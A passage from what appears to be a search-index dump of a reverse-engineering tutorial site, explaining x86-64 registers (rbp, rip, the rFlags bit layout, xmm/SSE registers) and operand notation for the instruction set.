ยป The Stack Pointer rsp","id":"333","title":"The Stack Pointer rsp"},"334":{"body":"The base pointer rbp (ebp for 32-bit machines) is the twin brother of the stack pointer and is used as a base pointer when calling functions. It points to the beginning of the current function's stack frame. Interestingly enough, its use is actually gratuitous because compilers can manage the stack frames of functions equally well without a separate base pointer. It is mostly used to make assembly code more comprehensible for humans.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Base Pointer rbp","id":"334","title":"The Base Pointer rbp"},"335":{"body":"The instruction pointer rip (eip for 32-bit machines) points to the next instruction to be executed. It is paramount not to get confused when using a debugger, since the rip does not actually point to the instruction currently being executed.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Instruction Pointer rip","id":"335","title":"The Instruction Pointer rip"},"336":{"body":"The flag register rFlags (eFlags for 32-bit machines) is an isolated register which is automatically updated by the CPU after every instruction and is not directly accessible by programmes. Following is a table of the meaning assigned to different bits of this register. Note that only the lower 32 bits are used even on 64-bit machines. Name Symbol Bit Usage =1 =0 Carry CF 0 Indicates whether the previous operation resulted in a carry-over. CY (Carry) CN (No Carry) 1 Reserved. Always set to 1 for eFlags. Parity PF 2 Indicates whether the least significant byte of the previous instruction's result has an even number of 1's. PE (Parity Even) PO (Parity Odd) 3 Reserved. Auxiliary Carry AF 4 Used to support binary-coded decimal operations. AC (Auxiliary Carry) NA (No Auxiliary Carry) 5 Reserved. Zero ZF 6 Indicates whether the previous operation resulted in a zero. ZR (Zero) NZ (Not Zero) Sign SF 7 Indicates whether the most significant bit was set to 1 in the previous operation (implies a negative result in signed-data contexts). NG (Negative) PL (Positive) Trap TF 8 Used by debuggers when single-stepping through a programme. Interrupt Enable IF 9 Indicates whether or not the CPU should immediately respond to maskable hardware interrupts. EI (Enable Interrupt) DI (Disable Interrupt) Direction DF 10 Indicates the direction in which several bytes of data should be copied from one location to another. DN (Down) UP (Up) Overflow OF 11 Indicates whether the previous operation resulted in an integer overflow. OV (Overflow) NV (No Overflow) I/O Privilege Level IOPL 12-13 Nested Task NT 14 Mode MD 15 Resume RF 16 Virtual 8086 Mode VM 17 31-63 Reserved.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Flag Register rFlags","id":"336","title":"The Flag Register rFlags"},"337":{"body":"In addition to the aforementioned registers, the x86-64 paradigm includes 16 registers, xmm[0-15], which are used for 32- and 64-bit floating-point operations. Furthermore, the same registers are used to support the Streaming SIMD Extensions (SSE) which allow for the execution of Single Instruction Multiple Data (SIMD) instructions.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Floating-Point Registers and SSE","id":"337","title":"Floating-Point Registers and SSE"},"338":{"body":"The x86-64 assembly paradigm has quite a lot of different instructions available at its disposal. An instructions consists of an operation and a set of operands where the latter specify the data and the former specifies what is to be done to that data.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Instruction Set ยป Introduction","id":"338","title":"Introduction"},"339":{"body":"Typically, instruction signatures are represented using the following operand notation. Operand Notation Description Register operand. , , , Register operand with a specific size requirement. Source operand. Destination operand - this may be a register or memory location. Floating-point destination register operand. Immediate value (a literal). Base-10 by default, but can be preceded with 0x to make it hexadecimal. Memory location - a variable name or an address. Arbitrary operand - immediate value, register or memory location.
Key LengthNumber of Rounds